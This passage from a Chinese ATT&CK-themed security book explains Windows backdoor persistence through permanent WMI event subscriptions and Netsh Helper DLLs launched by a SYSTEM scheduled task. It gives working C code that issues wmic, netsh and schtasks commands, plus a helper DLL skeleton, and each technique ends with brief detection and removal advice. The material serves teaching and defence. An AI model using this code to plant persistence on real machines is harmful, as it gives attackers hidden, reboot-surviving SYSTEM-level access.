Model的扩展组成，它通过仪器组件提供信息和通知，提供了一个操作系统的接口。从攻击者或防御

者的角度来看，WMI最强大的功能之一是WMI能够响应WMI事件。除了少数例外，WMI事件可用

于响应几乎任何操作系统事件。例如，WMI事件可用于在进程创建时触发事件。然后，可以将此机制

用作在任何Windows操作系统上执行命令行指令。有两类WMI事件，在单个进程的上下文中本地运

行的事件和永久WMI事件过滤。本地事件持续主机进程的生命周期，而永久WMI事件存储在WMI

存储库中，以 SYSTEM身份运行，并在重新引导后保持不变。据各安全厂商披露，有不少 APT组织

使用这种技术来维持后门持久性，如何防御WMI攻击值得安全研究人员进行了解。

WMI允许通过脚本语言 (VBScript或Windows PowerShell)来管理本地或远程的Windows计算机或

服务器，同样的,微软还为WMI提供了一个称之为Windows Management Instrumentation Command-line

（WMIC）的命令行界面，我们还可以通过WMIC工具来管理系统中的WMI。

WMI查询使用WMI查询语言（WQL），它是 SQL的一个子集，具有较小的语义更改以支持WMI。

WQL支持三种类型的查询，数据查询、架构查询及事件查询。消费者使用事件查询进行注册，以接收

事件通知，事件提供程序则使用事件查询进行注册以支持一个或多个事件。

要安装永久WMI事件订阅，需要执行以下三步：

1.注册事件过滤器 –也就是感兴趣的事件，或者说触发条件

2.注册事件消费者 –指定触发事件时要执行的操作
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Figure 22.30: img
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Figure 22.31: img

3.绑定事件消费者和过滤器 –将事件过滤器和事件消费者绑定，以在事件触发时执行指定操作。

如下的图是某样本通过 PowerShell注册WMI永久事件过滤实现持久化的代码：

如下的代码演示了如何通过利用WMIC工具注册WMI事件来实现后门持久化，注册的事件会在

系统启动时间 120后收到通知，执行 CMD命令调用 Rundll32加载我们指定的 DLL并执行其导出函

数。

BOOL add_wmi_filter()

{

BOOL ret = FALSE;

int path_len = NULL;

TCHAR* command = NULL;

STARTUPINFO si = {0};
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PROCESS_INFORMATION pi = {0};

si.cb = sizeof(STARTUPINFO);

si.wShowWindow = SW_HIDE;

command = new TCHAR[MAXBYTE * 7];

if (command == NULL)

{

goto ERROR_EXIT;

}

//添加一个 event filter

wsprintf(command, _TEXT(“cmd \/c \”wmic \/NAMESPACE:\”\\root\subscription\” PATH EventFilter CREATE Name=\”TopsecEventFilter\”, EventNameSpace=\”root\cimv2\”,QueryLanguage=\”WQL\”, Query=\”SELECT * FROM InstanceModificationEvent WITHIN 20 WHERE TargetInstance ISA ‘Win32_PerfFormattedData_PerfOS_System’ AND TargetInstance.SystemUpTime >=120 AND TargetInstance.SystemUpTime < 150\”\”"));

if(!CreateProcess(NULL, command, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi))

{

goto ERROR_EXIT;

}

WaitForSingleObject(pi.hProcess, INFINITE);

TerminateProcess(pi.hProcess, 0);

//添加一个事件消费者

wsprintf(command, _TEXT(“cmd \/c \”wmic \/NAMESPACE:\”\\root\subscription\” PATH CommandLineEventConsumer CREATE Name=\”TopsecConsumer\”, ExecutablePath=\”C:\Windows\System32\cmd.exe\”,CommandLineTemplate=\” \/c Rundll32 C:\topsec.dll RunProc\”\”"));
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memset(&pi, 0, sizeof(pi));

if(!CreateProcess(NULL, command, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi))

{

goto ERROR_EXIT;

}

WaitForSingleObject(pi.hProcess, INFINITE);

TerminateProcess(pi.hProcess, 0);

//绑定事件及消费者

wsprintf(command, _TEXT(“cmd \/c \”wmic \/NAMESPACE:\”\\root\subscription\” PATH FilterToConsumerBinding CREATE Filter=\”EventFilter.Name=\\”TopsecEventFilter\\”\”, Consumer=\”CommandLineEventConsumer.Name=\\”TopsecConsumer\\”\”\”"));

memset(&pi, 0, sizeof(pi));

if(!CreateProcess(NULL, command, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi))

{

goto ERROR_EXIT;

}

WaitForSingleObject(pi.hProcess, INFINITE);

TerminateProcess(pi.hProcess, 0);

ret = TRUE;

ERROR_EXIT:
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if (command != NULL)

{

delete[] command;

command = NULL;

}

return ret;

}

有关事件查询的更多信息，可以查看微软在线帮助，接收事件通知。

有关WMI查询的更多信息，可以查看微软在线帮助，使用WQL查询。

关于 WMI 攻防的更多信息，也可以参考 FireEye 发布的白皮书，《WINDOWS MANAGEMENT

INSTRUMENTATION (WMI) OFFENSE, DEFENSE, AND FORENSICS》。

22.13.2 运行效果图

运行该程序后，会在系统中安装WMI事件，使用 AutoRun工具查看WMI相关的数据

重启电脑，等系统运行时长超过 120秒后，触发事件，我们设定的命令被执行

22.13.3 检查及清除方法

1、使用 AutoRuns工具检查WMI订阅，并删除不明来源的事件订阅，可通过与已知良好的常规主机

进行对比的方式，来确认事件订阅是否为不明来源。

22.14 Netsh Helper DLL

22.14.1 原理及代码介绍

Netsh.exe（也称为 Netshell）是一个命令行脚本实用程序，用于与系统的网络配置进行交互。它包含

添加辅助 DLL以扩展实用程序功能的功能，使用 “netsh add helper’’即可注册新的扩展 DLL，注册扩

展 DLL后，在启动 Netsh的时候便会加载我们指定的 DLL。注册的 Netsh Helper DLL的路径会保存

到Windows注册表中的 HKLM\SOFTWARE\Microsoft\Netsh路径下。

当使用另一种持久性技术自动执行 netsh.exe时，攻击者可以使用带有 Helper DLL的 Netsh.exe以

持久方式代理执行任意代码。
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Figure 22.32: img

Figure 22.33: img
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Figure 22.34: img
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Figure 22.35: img

计划任务程序是Microsoft Windows的一个组件，它提供了在预定义时间或指定时间间隔之后安排

程序或脚本启动的功能，也称为作业调度或任务调度。系统中的 schtasks.exe用于管理计划任务，允许

管理员创建、删除、查询、更改、运行和中止本地或远程系统上的计划任

务。如从计划表中添加和删除任务，按需要启动和停止任务，显示和更改计划任务。

如下的代码演示了攻击者如何通过在 Netsh命令添加 Helper DLL并通过调用 schtasks程序来新建

计划任务，实现代码持久化的目的。

BOOL add_to_netsh_helper(LPCTSTR dll_path)

{
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BOOL ret = FALSE;

int path_len = NULL;

TCHAR* command = NULL;

STARTUPINFO si = {0};

PROCESS_INFORMATION pi = {0};

si.cb = sizeof(STARTUPINFO);

path_len = _tcslen(dll_path);

command = new TCHAR[(path_len * sizeof(TCHAR) + sizeof(TCHAR)) * 2];

//添加 netsh helper

wsprintf(command, _TEXT(“cmd \/c \”netsh add helper %s\”"), dll_path);

if(!CreateProcess(NULL, command, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi))

{

goto ERROR_EXIT;

}

WaitForSingleObject(pi.hProcess, INFINITE);

memset(&pi, 0, sizeof(pi));

//添加 netsh 主程序到计划任务

wsprintf(command, _TEXT(“cmd \/c \”schtasks.exe \/create \/tn \”init\” \/ru SYSTEM \/sc ONSTART \/tr \”C:\windows\system32\netsh.exe\”\”"));
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if(!CreateProcess(NULL, command, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi))

{

goto ERROR_EXIT;

}

WaitForSingleObject(pi.hProcess, INFINITE);

ret = TRUE;

ERROR_EXIT:

if (command != NULL)

{

delete[] command;

command = NULL;

}

return ret;

}

其中 Netsh Helper DLL 需要导出一个函数供 Netsh 调用，导出函数原型及关键代码如下：

BOOL APIENTRY DllMain( HMODULE hModule,

DWORD ul_reason_for_call,
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LPVOID lpReserved

)

{

switch (ul_reason_for_call)

{

case DLL_PROCESS_ATTACH:

OutputDebugString(_TEXT(“Load DLL~~”));

break;

case DLL_THREAD_ATTACH:

case DLL_THREAD_DETACH:

case DLL_PROCESS_DETACH:

break;

}

return TRUE;

}

DWORD _stdcall NewThreadProc(LPVOID lpParam)

{

while (TRUE)

493



政企安全 ATT&CK之后门持久化

{

OutputDebugString(_TEXT(“Netsh Helper, Hello Topsec”));

}

return 0;

}

extern “C” DWORD _stdcall InitHelperDll(DWORD dwNetshVersion, PVOID Reserved)

{

CreateThread(NULL, NULL, NewThreadProc, NULL, NULL, NULL);

MessageBox(NULL, _TEXT(“Netsh Helper, Hello Topsec”), NULL, MB_OK);

return NO_ERROR;

}

22.14.2 运行效果图

上面的代码首先添加 Netsh Helper DLL，然后添加计划任务，在系统启动的时候启动 Netsh。计算机重

启后效果如图：

运行后的注册表键值情况如下图所示：

22.14.3 检查及清除方法

1、检查注册表路径 HKLM\SOFTWARE\Microsoft\Netsh，查看是否有不明来源的 Helper DLL注册信息

并删除。
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Figure 22.36: img

Figure 22.37: img
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Figure 22.38: img
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22.15 总结

以上就是持久化攻击的全部内容了，通过本文总结的这些攻击手段可以看出，有的虽老生常谈，却不

可忽视，有的设计很巧妙，令人受益匪浅。它们好像无孔不入，所有的攻击都是为了更隐蔽，更持久

的运行。当然，这肯定不是 MITRE ATT&CK上的所有内容，更不是攻击者的所有手段，一定会有一

些攻击手段尚未被发现。想象着，当攻击者不断获取着系统上的信息，而你却不自知时，这是多么可

怕！作为安全工作者，我们不应满足于现状，更应该拥有好奇心和创造力，去发现未知的安全隐患。

本文到此就结束了，接下来会根据MITRE ATT&CK出一系列类似的文章，敬请期待！
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